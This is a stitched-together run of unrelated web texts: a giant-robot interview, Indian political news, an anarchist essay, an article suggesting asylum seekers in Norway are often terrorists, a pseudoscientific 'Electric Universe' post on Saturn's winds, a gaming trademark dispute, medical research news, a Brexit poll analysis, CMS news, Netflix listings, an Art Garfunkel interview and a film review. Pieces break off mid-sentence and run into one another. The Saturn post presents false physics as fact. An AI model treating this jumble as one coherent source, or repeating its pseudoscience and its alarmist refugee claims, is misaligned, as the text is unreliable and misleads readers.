In 2015, two American engineers, Gui Cavalcanti and Matt Oehrlein, set out to build a giant human-piloted combat robot called Mk. II MegaBot, which could drive on tank tracks and fire 3-pound projectiles. The robot was pretty cool, they thought, but who would they fight? They decided to challenge the only other giant piloted robot in the world to a duel. That robot was a 4.5-metric-ton mech known as Kuratas and built by Suidobashi Heavy Industry, in Japan. The Japanese accepted the challenge. The fight was on.
The U.S. and Japan teams have since spent two years fortifying and weaponizing their robots, and now the duel will finally happen. Well, technically, it’s already happened: It appears that showing the fight live wasn’t feasible (there would be too much downtime for repairs and resets), so over the course of several days the robots battled each other at an undisclosed location in Japan, with cameras rolling to capture all the action.
Tonight the edited footage will be streamed on Twitch at 7 p.m. PT (10 p.m. ET), and posted on YouTube and Facebook immediately after. You can watch a teaser below:
Is this the start of a giant robot fighting league of the future? That’s the plan, according to Cavalcanti and Oehrlein, who founded MegaBots in Hayward, Calif. They recently said they’ve already started working on their next robot, and there are discussions about forming an official league.
We spoke with Cavalcanti about their new robot (a 5-meter-tall, 430-horsepower robot named Eagle Prime), how they control it, and what lessons they have to share with other robot makers.
IEEE Spectrum: Is this the robot equivalent of the WWE, or is the fight for real?
Gui Cavalcanti: This fight is for real. We’ve spent the past year and a half building Eagle Prime to be genuinely capable of getting into a giant robot fistfight while keeping us safe. We showed our old robot shooting us in Eagle Prime with a 3-pound paint cannonball at 120 miles per hour in our debut video, we ripped the face of our old robot off, and we actually collected a ton of data from early tests on the kinds of impacts we could expect. You’ll see some terrifying, real damage to all the robots involved on Tuesday.
Spectrum: So was there a chance you could, like, die?
Cavalcanti: There definitely was a chance for injury, even with all our precautions. Ultimately, just like racing, monster trucks, and all sorts of professional sports, this is not a fundamentally safe activity. But at the end of the day, we’ve been dreaming about this since we were kids, and we decided to go for it anyway! It helps that neither team was trying to murder the other pilot—we were just trying to break their robot.
Image: MegaBots The MegaBots team with Eagle Prime.
Spectrum: How do the controls work—one of you is driving the robot and the other is controlling the arms and weapons?
Cavalcanti: Our robots have a driver in back (driving via monitors, with Eagle Prime equipped with seven different monitors), and the gunner in front. The driver controls the base and legs with two joysticks, which have a few different control mappings and modes. The gunner controls the torso twist actuation and the arms. The gunner has the ability to switch modes between aiming, play back eight different animations (like punches and grabs), and enter into “task space control,” where the gunner can translate the location of the claw through space or rotate it through different orientations. If absolutely necessary, the driver can control the entire robot, but in our experience it’s way too much information to process and act on successfully.
“Eagle Prime has modular weapons systems. The chainsaw is absolutely my favorite. I had no idea it could do as much damage as it does” —Gui Cavalcanti, MegaBots
Spectrum: What is the hardest part of piloting the robot?
Cavalcanti: The hardest part of driving the robot is just practicing enough to get good and smooth at it. The robot has 26 degrees of freedom, controlled by two people who have to work together to accomplish tasks. Even just getting your regular driver’s license requires a few years on a learner’s permit, and here we are building a gigantic robot from scratch and then trying to make it do what we want with relatively little practice.
Spectrum: What weapons does the robot have, and what’s your favorite?
Cavalcanti: The Eagle Prime robot has modular weapons systems and can mount a 40-horsepower chainsaw, a 2-foot-diameter drill auger, two multipurpose grapple arms, and a two-barrel cannon. The chainsaw is absolutely my favorite. I had no idea it could do as much damage as it does... but it’s out of this world. If we had to do it again it would’ve been longer, larger, and even more powerful.
Image: MegaBots The Kuratas robot built by Suidobashi Heavy Industry, of Japan.
Spectrum: What was your overall strategy for the fight?
Cavalcanti: Our strategy going in to the fight is to control the battlefield. Our “default” weapon is the grapple claw, which can punch, grab, and lift elements of the playing field and the other robot. It’s proven to be one of the best choices we’ve ever made. Kuratas is faster than us, and our strategy is to negate that advantage!
Spectrum: After two years working on this project, what is one big lesson you’d like to share with your fellow roboticists?
Cavalcanti: The only way this project was possible was by using as many COTS [commercial off-the-shelf] parts as possible, and by verifying each part’s functionality as it came in. As best we could, we tested each part as it arrived, made sure it worked, and tested each subsystem before it was assembled into the full system. This let us catch errors like suppliers sending us the wrong part, suppliers sending us parts that didn’t work as advertised (for example, we lost a month of controls work by debugging a firmware issue with one of our sensors), and manufacturing errors. If I had to pass on a piece of advice, it would be to assemble in small pieces and test early and often.On the last day of his three-day visit to the United Kingdom, Prime Minister Modi also met the British leader of the opposition Jeremy Corbyn.
Remembering an icon of social reform & democratic ideals...PM unveils Basaveshwara Statue in London. pic.twitter.com/p9dTOma0fj - PMO India (@PMOIndia) November 14, 2015
Long before the Magna Carta, considered the first charter of democracy, 12th century Indian philosopher Basaveshwara gave the world the ideals of democracy, Prime Minister Narendra Modi said in London today.Inaugurating a bust of Basaveshwara in London, Prime Minister Modi said, "When I was with PM David Cameron he was showing me the Magna Carta. But long before him Basaveshwara gave the principles of democracy.""Because of a long period of colonisation Indian society caught many social evils but Basaveshwara showed us the way to reform our society and the first Parliament-like platform," he said. "This statue will be an inspiration for all those who believe in democratic ideals," he said unveiling the statue.On the last day of his three-day visit to the United Kingdom, Prime Minister Modi also met the British leader of the opposition Jeremy Corbyn and condemned the attacks in Paris that left more than 120 people dead.Governments promise rights, but they can only take liberties. The idea of rights implies a central power to grant and guard them. Yet anything the state is powerful enough to guarantee, it is powerful enough to take away; empowering government to solve one problem only opens the door for it to create more problems. And governments do not generate power out of thin air—that’s our power that they wield, which we can employ far more effectively without the Rube Goldberg machine of representation.
The most liberal democracy shares the same principle as the most despotic autocracy: the centralization of power and legitimacy in a structure intended to monopolize the use of force. Whether the bureaucrats who operate this structure answer to a king, a president, or an electorate is beside the point. Laws, bureaucracy, and police are older than democracy; they function the same way in a democracy as in a dictatorship. The only difference is that, because we can vote about who administers them, we’re supposed to regard them as ours—even when they’re used against us.
Dictatorships are inherently unstable: you can slaughter, imprison, and brainwash entire generations and their children will invent the struggle for freedom anew. But promise every man a chance to impose the will of the majority upon his fellows, and you can get them all together behind a system that pits them against each other. The more influence people think they have over the coercive institutions of the state, the more popular those institutions can be. Perhaps this explains why the global expansion of democracy coincides with incredible inequalities in the distribution of resources and power: no other system of government could stabilize such a precarious situation.
When power is centralized, people have to attain dominion over others to gain any influence over their own destinies. Struggles for autonomy are channeled into contests for political power: witness the civil wars in postcolonial nations between peoples who previously coexisted peacefully. Those who hold power can only retain it by waging perpetual war against their own populations as well as foreign peoples: the National Guard is brought back from Iraq to be deployed in Oakland.
Wherever there are hierarchies, it favors the ones on top to centralize power. Building more checks and balances into the system just means relying on the thing we need to be protected from for protection. The only way to exert leverage on the authorities without being sucked into their game is to develop horizontal networks that can act autonomously. Yet when we’re powerful enough to force the authorities to take us seriously, we’ll be powerful enough to solve our problems without them.
There’s no way to freedom but through freedom. Rather than a single bottleneck for all agency, we need a wide range of venues in which to exercise power. Rather than a singular currency of legitimacy, we need space for multiple narratives. In place of the coercion inherent in government, we need decision-making structures that promote autonomy, and practices of self-defense that can hold would-be rulers at bay.Norwegian police have revealed the gruesome clips they have discovered on the phones of new arrivals, but have admitted proving whether the asylum seekers have a hidden evil intent is prohibitively difficult.
The films found while making inspections of the tens of thousands of new arrivals included clips of executions, torture, and mutilations. Norwegian newspaper Dagsavisen reported this week the police intelligence service harboured concerns about many of the asylum seekers, with members of IS in Syria, Boko Haram in Nigeria and Al-Shabaab in Somalia seeking refuge under false pretences.
A police spokesman said: “It’s correct that we have concerns about some people who have arrived here [in Norway] as asylum seekers… There is great uncertainty around several who are currently in Norway”. Norway’s police believe that as many as two percent of arrivals are terrorists, yet in the past seven years only a fraction of the thousands of asylum seekers who arrived have been denied refuge. TheLocal.no reports the number sent back could be as low as 90 or 100.
A director of the Norwegian government asylum division explained why detecting the intent of asylum seekers can be so hard when there are large numbers of people to process: “It can be very demanding to find out who these people are and what they have done.
“We have to detect whether they have taken part in terrorist operations, deserted a terrorist operation or defected from a terrorist organization, and that’s critical for our evaluation of their application”.
A number of those who had been deported were later captured trying to sneak back into the country.
The report came as the head of the European Union counter-terrorism force expressed his concern about the vast influx of refugees from North Africa and the Levant being used by terrorist groups to effortlessly infiltrate Europe with skilled killers. Breitbart London reported Director Gilles de Kerchove’s comments this week, when he said: “We must be vigilant. It is relatively easy to enter into the European Union when one joins an influx of refugees”.
Over 50,000 applications were made for asylum in Europe last year, a figure which is certain to rise again this year.July 04, 2012
The light is there but astrophysics is slow to catch up to it
Over its considerable lifetime NASA’s Cassini spacecraft has collected a vast number of observations concerning the planet Saturn. Saturn, like the other gas giants in the Solar System, has energetic jet streams flowing east and west around the planet. These high-powered “winds” must get enormous amounts of energy from somewhere.
“We know the atmospheres of planets such as Saturn and Jupiter can get their energy from only two places: the sun or the internal heating. The challenge has been coming up with ways to use the data so that we can tell the difference,” said Tony Del Genio of NASA’s Goddard Institute for Space Studies, N.Y., the lead author of the paper and a member of the Cassini imaging team.
It has been said many time that our biggest intellectual or conceptual problem is knowing things that are not so. While Electric Universe advocates understand the bilateral option of the Sun or internal heating is not right, at least the focus is turning away from the Sun being the source of the energy. Instead of heat energy flowing from within, the Electric Universe paradigm has Saturn feeding off the Birkeland current that drives the Solar System. All the objects in our planetary system give off more energy than they receive from the Sun, and Saturn is too far away from the Sun to receive anything but negligible heat from it.
Without an electrical mechanism to drive these winds in different bands and at different levels of Saturn’s atmosphere, mainstream thinking is turning towards the concept of internal heat evaporating water from the interior into vapor and carrying the energy upwards. Condensation at higher atmosphere altitude would then release this energy, but it is unclear how this mechanism would structure the atmosphere into distinctive levels and cause some jet streams to flow westward while most flow eastward.
“The condensation of water was not actually observed; most of that process occurs at lower altitudes not visible to Cassini.”
In the Electric Universe model, electrical energy is driving the winds externally, all the while forming auroras at the poles, along with the mysterious hexagonal structure found at the south pole. The internal heating model is simplistic and inadequate to account for all the impressive atmospheric phenomena on Saturn.
Michael ArmstrongDOTA wouldn't exist without Warcraft III, which is a huge part of Blizzard's claims to the name.
The future of DOTA--at least the name, anyway--is now in the hands of the legal world.
A trademark dispute filed by Blizzard Entertainment against Valve has been unearthed, which I’ve spent the better part of an hour looking at and trying to make sense off alongside Mr. Shoemaker.
Blizzard filed its original complaint on November 16 (read it here), and Valve filed its response on December 22 (read that here).
Valve is pushing forward with DOTA 2, having acquired one of the principal creative minds behind the original DOTA, Abdul “IceFrog” Ismail, back in 2010. Blizzard doesn’t believe Valve has the right to call its game DOTA, and makes several arguments to support this.
The argument Blizzard makes most frequently involves the fact that DOTA was developed as a mod for Warcraft III: Reign of Chaos. When you install Warcraft III, you agree to Blizzard’s EULA (End User License Agreement), which states all material created with the game’s tools, including the editor that helped birth DOTA, is Blizzard's property.
Thus, Blizzard owns DOTA. So says Blizzard.
“Over the past seven years, the mark DOTA has been used exclusively in connection with Blizzard and its products, namely Warcraft III,” reads Blizzard’s filing. “Most notably, DOTA has been used as the popular name of a Warcraft III software "mod" file that has been distributed, marketed, and promoted by Blizzard and its fans (under license from Blizzard).”
Blizzard allowed its community to use the term DOTA “under license.” Valve’s argument appears to hinge on the EULA not actually granting Blizzard any real-world rights to the term--or at least enough to stop Valve from using it--and when Valve decided to officially trademark DOTA in August 2010, Valve assumed legal control of the term.
Valve did not get into many specifics in responding to Blizzard’s arguments, however.
“Valve admits that the EULA contains a non-exclusive license agreement,” reads parts of Valve’s response. “The terms of the EULA speak for themselves and no admission or denial regarding the legal effect of the terms of the EULA is required.”
Some of the artwork that first surfaced for DOTA 2, when the trademark issues first came up.
“Valve denies the use of DOTA marks by Valve and its predecessors in interest is under license from or for the benefit of Blizzard,” it continues.
It could be the better part of a year before this is sorted out, including a scenario where this goes back-and-forth until February 2013, when Blizzard’s final rebuttal period would end. Given that Valve would probably want to release DOTA 2 sometime in 2012, movement before then (perhaps a settlement) seems likely.
Blizzard commented on the situation in both 2010 and 2011.
“Certainly, DOTA came out of the Blizzard community,” said Blizzard VP of game design Rob Pardo to Eurogamer back in 2010. “It just seems a really strange move to us that Valve would go off and try to exclusively trademark the term considering it's something that's been freely available to us and everyone in the Warcraft III community up to this point.
This was echoed by Blizzard president Mike Morhaime last fall.
"I can share that our opinion about the situation is that the DOTA name really should belong to the community,” said Morhaime, again to Eurogamer. “I think that it's been part of the Warcraft 3 community for a very long time, and we would like to see the community continue being able to use that name, and having an exclusive mark owned by a competitor doesn't feel right to us."Using ultrasound waves, MIT engineers have found a way to enhance the permeability of skin to drugs, making transdermal drug delivery more efficient. This technology could pave the way for noninvasive drug delivery or needle-free vaccinations, according to the researchers.
“This could be used for topical drugs such as steroids — cortisol, for example — systemic drugs and proteins such as insulin, as well as antigens for vaccination, among many other things,” says Carl Schoellhammer, an MIT graduate student in chemical engineering and one of the lead authors of a recent paper on the new system.
Ultrasound — sound waves with frequencies greater than the upper limit of human hearing — can increase skin permeability by lightly wearing away the top layer of the skin, an effect that is transient and pain-free.
In a paper appearing in the Journal of Controlled Release, the research team found that applying two separate beams of ultrasound waves — one of low frequency and one of high frequency — can uniformly boost permeability across a region of skin more rapidly than using a single beam of ultrasound waves.
Senior authors of the paper are Daniel Blankschtein, the Herman P. Meissner ’29 Professor of Chemical Engineering at MIT, and Robert Langer, the David H. Koch Institute Professor at MIT. Other authors include Baris Polat, one of the lead authors and a former doctoral student in the Blankschtein and Langer groups, and Douglas Hart, a professor of mechanical engineering at MIT.
Two frequencies are better than one
When ultrasound waves travel through a fluid, they create tiny bubbles that move chaotically. Once the bubbles reach a certain size, they become unstable and implode. Surrounding fluid rushes into the empty space, generating high-speed “microjets” of fluid that create microscopic abrasions on the skin. In this case, the fluid could be water or a liquid containing the drug to be delivered.
In recent years, researchers working to enhance transdermal drug delivery have focused on low-frequency ultrasound, because the high-frequency waves don’t have enough energy to make the bubbles pop. However, those systems usually produce abrasions in scattered, random spots across the treated area.
In the new study, the MIT team found that combining high and low frequencies offers better results. The high-frequency ultrasound waves generate additional bubbles, which are popped by the low-frequency waves. The high-frequency ultrasound waves also limit the lateral movement of the bubbles, keeping them contained in the desired treatment area and creating more uniform abrasion, Schoellhammer says.
“It’s a very innovative way to improve the technology, increasing the amount of drug that can be delivered through the skin and expanding the types of drugs that could be delivered this way,” says Samir Mitragotri, a professor of chemical engineering at the University of California at Santa Barbara, who was not part of the research team.
The researchers tested their new approach using pig skin and found that it boosted permeability much more than a single-frequency system. First, they delivered the ultrasound waves, then applied either glucose or inulin (a carbohydrate) to the treated skin. Glucose was absorbed 10 times better, and inulin four times better. “We think we can increase the enhancement of delivery even more by tweaking a few other things,” Schoellhammer says.
Noninvasive drug delivery
Such a system could be used to deliver any type of drug that is currently given by capsule, potentially increasing the dosage that can be administered. It could also be used to deliver drugs for skin conditions such as acne or psoriasis, or to enhance the activity of transdermal patches already in use, such as nicotine patches.
Ultrasound transdermal drug delivery could also offer a noninvasive way for diabetics to control their blood sugar levels, through short- or long-term delivery of insulin, the researchers say. Following ultrasound treatment, improved permeability can last up to 24 hours, allowing for delivery of insulin or other drugs over an extended period of time.
Such devices also hold potential for administering vaccines, according to the researchers. It has already been shown that injections into the skin can induce the type of immune response necessary for immunization, so vaccination by skin patch could be a needle-free, pain-free way to deliver vaccines. This would be especially beneficial in developing countries, since the training required to administer such patches would be less intensive than that needed to give injections. The Blankschtein and Langer groups are now pursuing this line of research.
They are also working on a prototype for a handheld ultrasound device, and on ways to boost skin permeability even more. Safety tests in animals would be needed before human tests can begin. The U.S. Food and Drug Administration has previously approved single-frequency ultrasound transdermal systems based on Langer and Blankschtein’s work, so the researchers are hopeful that the improved system will also pass the safety tests.
The research was funded by the National Institutes of Health.195 SHARES Share Tweet
Girls learn, from the time they are young, to hate their bodies. We learn to focus on and work to fix so-called “flaws” — everything from weight to wrinkles to body hair to skin “imperfections.” Once we hit puberty, things often become worse, as men begin to gaze at, comment on, or grope our bodies, now sexualized and deemed available for public consumption. Considering that these messages are so widespread in culture, what can mothers of daughters do to try to counteract this learned self-hatred and self-objectification? What does it mean to love our bodies under patriarchy? Is it even possible?
In her new book, Mothers, Daughters, and Body Image: Learning to Love Ourselves as We Are, Hillary McBride, a registered clinical counsellor and our resident feminist therapist, looks at these issues and shares her own story of dealing with an eating disorder.
In this episode, I speak with her about all this, as well as about what it means to approach therapy from a feminist perspective.
195 SHARES Share Tweet
Meghan Murphy Founder & Editor Meghan Murphy is a freelance writer and journalist. She has been podcasting and writing about feminism since 2010 and has published work in numerous national and international publications, including New Statesman, Vice, Al Jazeera, The Globe and Mail, I-D, Truthdig, and more. Meghan completed a Masters degree in the department of Gender, Sexuality and Women’s Studies at Simon Fraser University in 2012 and lives in Vancouver, B.C. with her dog.https://babe.kde.org/
This is my very first post for KDE blogs and it is also |
out-campaigns. A recent poll from Survation found that limiting access of EU migrants to welfare benefits is the most desired outcome by a plurality of respondents (22%), together with increased sovereignty for the Parliament in Westminster (18%). My own take on this is that people are generally unsatisfied with the levels if immigration (though the evidence that they shouldn’t be is overwhelming), yet they understand that there is not much that can be done about it without completely sealing Britain off from the rest of the world. And that may be a step many are unwilling to take. There is some evidence for this. A rather convoluted question asked by IpsosMORI in October 2015 finds that restricting the right of free movement between EU countries makes little difference for how over a third would vote in the referendum, with another 38% being more likely to vote to remain.
Do we just say phew and go to the pub?
All in all, that sounds like pretty good news for the Britain Stronger in Europe campaign. Campaigning for the status quo can be somewhat easier, allowing for a more negative campaign, that focuses on uncertainty and fear. But then again, the areas picked up in this analysis are also weak points for EU relations so far, indicating a very difficult battle ahead. Trade is the most obvious benefit of being part of the European Union, with 43% of respondents projecting a bad outcome for the UK in this area should it vote to leave. But on economy and employment, people tend to think the country would be better off should it leave. That is indeed terrible news. Any successful campaign should focus its efforts on changing these views by taking advantage of the overall positive impact the EU is seen to have on trade.
One thing I have not mentioned so far is that, according to this analysis, it seems that people who believe gender equality would be worse outside the EU are more likely to say EU membership is a bad thing. I’ve yet to come up with any hypotheses as to why that is, but would love to hear any ideas. Might be a topic for another time.
You can find my syntax over here.
And the dataset I used can be downloaded from the GESIS website.
Any thoughts, ideas, criticism, please share in the comment section below. Would love to hear what you have to say.That title sounds like clickbait, but I'm 110% convinced that it's true.
Even in just the last 7 days, we've seen major changes.
In the Drupal world, Dries Buytaert reversed a fundamental Drupal principle. For 15 years, each new Drupal version has involved massive changes. No longer. Each version will now be backwards compatible. I'm often wrong, but I'm going to claim this one as an accurate prediction. This is absolutely the correct decision: huge, breaking updates are as out-of-date as punchcards in 2017.
Also, the Drupal community finally acted to fix the very broken process of submitting code to Drupal.org. This should help increase the number of new contributors, which had been stalled.
In the WordPress world, Matt Mullenweg and Automattic launched an integration between Google Docs and WordPress. Wait. Isn't WordPress the best and easiest editor? No, far from it, according to Matt: "Google’s annotations, comments, and real-time co-editing are years ahead".
How can WordPress catch up? By improving the editor. There's a lot of experimenting going on in this area at the moment.
Check out the Gutenburg demo for an early preview. Even though it's not fully functional, you can see where WordPress is headed.
WordPress.com is often a testing ground for ideas that eventually end up in the self-hosted version. So, it's not surprising that WordPress.com is also improving their editor. Check out the difference between the old version...
... and the new version below. Notice how much cleaner the new editor is?
If you're interested in how the WordPress.com team tests and develops these new features, check out this excellent presentation by Mel Choyce from WordCamp US.
All of that happened in just the last week. We haven't even started talking about the REST API and Customizer changes in WordPress, or the Composer and Outside-in changes in Drupal.
All-in-all, this really is shaping up to be a fascinating year for both projects. Both WordPress and Drupal are brave enough to be fundamentally rethinking who and what they are.
If you're involved with these platforms, your work in 2018 could be radically different from today.
Let us know what you think about the new direction for these projects. Leave a comment below...Coming Soon
Dead to Me
A powerful friendship blossoms between a tightly wound widow and a free spirit with a shocking secret in this darkly comic series.
Invisible Cities
While investigating a murder, a detective is drawn into a battle between the visible world and an underground realm inhabited by mythical creatures.
Kengan Ashura
Underground gladiator Tokita Ohma fights on behalf of business mogul Nogi Hideki who wagers mega-business deals on the outcome of these brutal matches.
Tuca & Bertie
Two bird women -- a carefree toucan and an anxious songbird -- live in the same apartment building and share their lives in this animated comedy.
Another Life
Astronaut Niko Breckenridge and her young crew face unimaginable danger as they go on a high-risk mission to explore the genesis of an alien artifact.
The Ghost Bride
In 1890s Malacca, a young woman finds herself in the afterlife and becomes mired in a murder mystery connected to the deceased son of a wealthy family.
Gentefied
Three Latinx cousins navigate their differences as they work to keep their grandfather's taco shop afloat in their rapidly gentrifying L.A. neighborhood.
Family ReunionI hear Art Garfunkel before I see him, singing to himself as he drifts across the hotel lobby in a blue T-shirt, heading for the lifts. At 73 his golden curls have become white dandelion seeds, and he is not as tall as you might imagine — an illusion that was probably created during all those years standing next to the diminutive Paul Simon.
As I’m early, I hang back and wait for him to reappear. When he does, he has changed into a white shirt and is carrying a large manila envelope. He tilts back his head to study me through black-framed glasses before proffering his left hand to shake, explaining that he trapped his right one in a door. We find a quiet corner in the bar area and instead of ordering a coffee – it is 10am – he asks for a bowl of pea soup.
Oh good, I think, this is going to be a memorable encounter.
“I’m allowing myself to be victimised here,” he says, jiggling his knee, not making eye contact.
Really? Someone who can sing in front of half a million people (as he and Paul Simon did in 1981 for that historic, but temporary, reunion “the concert in Central Park”)? “Oh, I was nervous there, too. You feel vulnerable. Exposed. You might forget a lyric. It’s brave work, this work. I want you to respect it.”
But I do, I say, I do – which is why I’ve already bought my tickets to see him in concert when he returns to London in the autumn, to play at the Royal Albert Hall. ‘Gorgeous acoustics,’ he says, relaxing a little at this. It will be a tour of seven cities, and it nearly didn’t happen because in 2010 he suffered from a “paresis” of his vocal chords. “Since I lost my voice – and I have now almost fully recovered it – the loud, high notes haven’t quite come back, so I need a mic for volume.”
• Julian Lloyd Webber on why musical feuds make great entertainment
When the middle range of his voice went, he was devastated. “I teased it back by singing in empty theatres. I would sing, and crap out, and my knees would buckle and I would whimper in frustration. I didn’t know how I was going to carry on. Was I going to be some guy named Walter who doesn’t sing? Did I have to get a regular job instead? I’ve been singing since I was five. It’s my identity. I can get away with murder when I sing.”
Paul Simon and Art Garfunkel, prior to their split in 1970 (Picture: Rex)
He is often described in terms of that goosebump-inducing voice of his – “angelic”, “haunting” and so on. But when I ask him to describe himself he says: “I’m a misanthrope.” There is something in that, given what he will go on to say about his father, and Paul McCartney, and Paul Simon. But I would also add “eccentric”. Take his habit of listing on his website every book he has ever read. “You notice it’s heavy sh*t,’ he says. ‘It’s not fluff.”
Since Simon & Garfunkel split up in 1970, he has married twice and raised two sons, had a film career, walked across America and Europe – ”to get away from people” – and continued recording.
Although his solo hits (Bright Eyes, I Only Have Eyes for You) were written by other people, and though Paul Simon wrote all the Simon & Garfunkel songs, he does write. Prose poems, mostly. In long hand. “I never bought a computer or a cell phone.”
He also does a lot of mathematics, having read it as a student at Columbia. “I’m precise. I think in proportions. I play games with numbers and I proportionalise. I imagine we have now done 1/8th of our interview.” I check my watch.
He even took a job as a maths teacher at one point, in the Seventies, despite being a world famous pop star.
“I’d just got married and moved to Connecticut, and there was a nearby preparatory school and so I taught math there. It was a weird stage of my life, to leave Simon & Garfunkel at the height of our success and become a math teacher. I would talk them through a math problem and ask if anyone had any questions and they would say: “What were the Beatles like?”
At the risk of sounding like one of his pupils, I ask about the Beatles, specifically George, who felt his talents were overshadowed.
“George came up to me at a party once and said “my Paul is to me what your Paul is to you.” He meant that psychologically they had the same effect on us. The Pauls sidelined us. I think George felt suppressed by Paul and I think that’s what he saw with me and my Paul. Here’s the truth: McCartney was a helluva music man who gave the band its energy, but he also ran away with a lot of the glory.”
Shortly before they split up, Simon & Garfunkel released what was to become the (then) biggest selling album in history, Bridge Over Troubled Water.
Why did they walk away from that phenomenal success?
“It was very strange. Nothing I would have done. I want to open up about this. I don’t want to say any anti Paul Simon things, but it seems very perverse to not enjoy the glory and walk away from it instead. Crazy. What I would have done is take a rest from Paul, because he was getting on my nerves. The jokes had run dry.
But a rest of a year was all I needed. I said: ‘I’m not married yet. I want to jump on a BMW motorbike and tour round Europe chasing ladies.’”
• Simon and Garfunkel: 18 best songs
Did he have a seduction technique? “I had it down to an art form. When you sign autographs after a show, you see the real pretty one and make sure you get to her last. Then you ask, ever so casually, ‘Have you had dinner?’”
Paul Simon once said that it upset him that audiences thought Garfunkel had written his masterpiece, the song Bridge Over Troubled Water – because Garfunkel sang it as a solo, with piano accompaniment.
“I saw that quote, too. But how many songs did I sing upfront and have a real tour de force of vocal? Does he resent that I had that one? I find that ungenerous.”
It’s an intriguing answer, one that makes me suspect that Paul Simon is not only a musical genius – that overused word seems appropriate – but also an insecure man who has to be the centre of attention. When I mention that I went to see Paul Simon and Sting at the O2 a few weeks ago, Garfunkel sits forward. “Oh tell me, I’m curious. Did he do Bridge Over Troubled Water?”
Ended the show with it.
“It was a gamble that he did that. And when they did it, was Sting on the arrangement?"
Sting and Paul Simon on stage together as part of their 2015 world tour
When I say he was, Garfunkel jiggles his knee again, looks over his shoulder, reaches into his manila envelope and produces a clutch of his prose poems marked with pink Post-it labels and reads one to me. It is about a zebra.
He’s a hard man to get the measure of, Art Garfunkel.
On the one hand he still seems eaten up by bitterness about his divorce from Paul Simon, yet he also talks about his old friend (they were at school together) with deep affection.
Simon and Garfunkel during their reunion tour in 2003 (Picture: AP)
He can seem vainglorious, too, referring to his own “beautiful” voice and being a “helluva singer”, but egomania is not incompatible with self-doubt, or misanthropy. And perhaps if he was nervous about this interview it was to do not with what I would ask but what he would answer.
He grew up in Queens, New York, a few blocks away from Paul Simon (they attended the same high school and started impersonating the Everly Brothers when they were 13). But what about his home? Was there singing there?
"Dad played rudimentary piano and sang with my mum, in thirds, but it was all middlebrow stuff."
His father was a travelling salesman of men's coats.
"At the end of the war there were a lot of surplus bomber jackets that needed to be unloaded. He travelled in the north east, four-day trips with sample cases in the trunk. Lately I've been thinking why did he not want to stay home with us more? Did he have a girlfriend on the road? I think the man who goes through his adult life as if he was born to carry a burden on his back has an inferiority complex. He thinks his place is not to stand up with dignity but to carry the samples."
He sips a spoonful of pea soup as his 24-year-old son, Art Junior, appears and says hello, before heading off to wait at the bar.
“We were estranged for a while,” he says. “Aged 16, my kid created a distance. He broke my heart a little. Now he’s moving back to love of family. For these shows I’m going to bring him on stage. We harmonise. He’s got the singing gift.”
Art Garfunkel performing with his son Art Jr in 2002
When I ask what advice he has given his son he makes me laugh with his answer: “Watch out for traffic.” Anything else? “Be kind to people. I’m working on that second one myself, because I’m not always kind. I’m judgemental and picky. When I order room service and they get it wrong I try so hard to be kind and I fail. ‘But I only asked for three things! How could you get one wrong?’
"Or to the taxi driver: 'How can this be hard? Listen to the address and take me there. Don't you care about your job?'"
I say there is one more question I have to ask, and he will have guessed what it is.
“Will I do another tour with Paul? Well, that’s quite do-able. When we get together, with his guitar, it's a delight to both of our ears. A little bubble comes over us and it seems effortless. We blend. So, as far as this half is concerned, I would say, 'Why not, while we're still alive?'
"But I've been in that same place for decades. This is where I was in 1971."
He then seems to address not me but his old friend. “How can you walk away from this lucky place on top of the world, Paul? What’s going on with you, you idiot? How could you let that go, jerk?”
Actually, another question strikes me. I speculate about whether Paul Simon might have a Napoleon complex. Is there a height thing there, between them?
“I think you’re on to something. I would say so, yes.”
He adds that at school he felt sorry for Paul because of his height, and he offered him love and friendship as a compensation. “And that compensation gesture has created a monster. End of interview.”
When he drifts off back to the lifts, singing to himself again, I check my watch. Turns out his mental clock, when he guessed how far we were through the interview, was exactly right.
Art Garfunkel tours the UK this September. Tickets are on sale now from www.livenation.co.ukIn 2012, writer Timur Vermes published Look Who’s Back, perhaps Germany’s most provocative and popular novel in recent memory. Its premise? Adolf Hitler has somehow emerged in present-day Berlin, alive and goose-stepping. Mistaken for an exceptionally realistic method actor, the unfiltered dictator becomes a media sensation. Purposefully priced at €19.33 (the year Hitler took power), the novel rose to prominence as a biting satire of contemporary Germany.
Now, Look Who’s Back has made it to the silver screen. A film adaptation debuted to box office success last fall in Germany, and has just been released on Netflix for international audiences. And boy am I glad about that.
As an enthusiast for WWII history, German politics, and satire, I viewed the Look Who’s Back novel as a holy trinity of high expectations. Fortunately, it met them; I loved the book, and would recommend it wholeheartedly (it’s available in English on Amazon). Naturally, when I heard that there would be a movie adaptation, my bar for it was even higher.
With all that said, I am thoroughly impressed with Look Who’s Back the film. It’s faithful to the novel in spirit, but not in certain details — which is great. The general plot outline and character set stay consistent though, like with all movie adaptations, noticeable abridgements and modifications occur.
While having some knowledge of German politics and society (ex. what the major political parties are) makes both the novel and the film more enjoyable, the novel spends far more time on specifics like the Hartz social welfare reforms. Indeed, when the book first came out, Vermes probably intended it for a domestic audience, one steeped in vergangenheitsbewältigung — the concept of “coming to terms with the past”. Since 1945, Germany has struggled to deal with the legacy of Hitler; Holocaust remembrance remains a huge part of the school curriculum and the nation has some of the strictest anti-Nazi laws on the world (ex. no swastikas on move posters). Guilt is an integral part of the modern German psyche, and Look Who’s Back the novel offered a jolting reflection upon 50+ years of institutionalized atonement. Its message: look’s like nothing much has changed since 1933.
Naturally, the concept of history repeating itself due to inherent human folly has resonance beyond Germany. That’s why the Look Who’s Back novel received international attention and an English translation, and that’s why the Look Who’s Back movie takes on a more universal bent. Back in 2012, Germany and the EU were not yet fully embroiled in today’s massive ISIS-sparked refugee crisis. Today, nationalism, extremism, and demagoguery are boiling over not only in Europe, but also in America (where Hitler comparisons to a candidate-who-must-not-be-named abound). The film seizes fully upon this, directing its satire at targets like AfD (Alternative für Deutschland — a right-wing, German Eurosceptic party) and the anti-Islamic/immigration Pegida, neither of which existed when the book came out. By not remaining faithful to its novel source in these regards, the Look Who’s Back movie keeps its satire fresh and takes on a life of its own.
Though not immediately apparently, Look Who’s Back also incorporates candid shots of people interacting with “Hitler” (played by Oliver Masucci) a la Borat. It’s a brilliant move that adds another dimension to the story and, more importantly, provides active proof for the story’s assumptions. Both the novel and the film’s scripted portions posit how a modern-day Hitler would become a social media sensation. Cut to the candid shots, in which Chinese tourists throng “Hitler” for selfies and random passerby film him on their smartphones. After a while, the scripted and candid portions start become indistinguishable as fiction and reality become one through satire.
